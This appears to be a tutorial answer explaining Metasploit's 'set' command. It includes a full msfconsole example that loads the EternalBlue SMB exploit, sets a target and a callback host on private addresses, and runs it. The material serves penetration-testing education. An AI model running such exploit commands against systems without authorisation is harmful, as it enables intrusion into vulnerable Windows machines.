The set command in Metasploit is used to configure options for a specific module you are working with. This command allows you to define parameters such as target IP addresses, ports, payloads, and other settings required for the module to function correctly.
Syntax:
set <option> <value>
Steps to Use the set Command:
-
Select a Module: Before using the
setcommand, you need to select a module. For example, if you want to use an exploit, you would first use theusecommand:use exploit/windows/smb/ms17_010_eternalblue -
View Required Options: After selecting a module, you can view the required options by typing:
show options -
Set Options: Use the
setcommand to configure the necessary options. For example, to set the target IP address:set RHOST 192.168.1.10 -
Verify Configuration: You can verify that your options are set correctly by running:
show options -
Run the Module: Once all required options are set, you can execute the module using:
runor
exploit
Example:
Here’s a complete example of using the set command:
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > show options
msf exploit(ms17_010_eternalblue) > set RHOST 192.168.1.10
msf exploit(ms17_010_eternalblue) > set LHOST 192.168.1.5
msf exploit(ms17_010_eternalblue) > run
Encouragement for Further Learning:
To practice using the set command and other Metasploit functionalities, consider exploring relevant labs on LabEx that focus on penetration testing techniques. Hands-on experience will solidify your understanding.
If you have any more questions or need further clarification, feel free to ask!
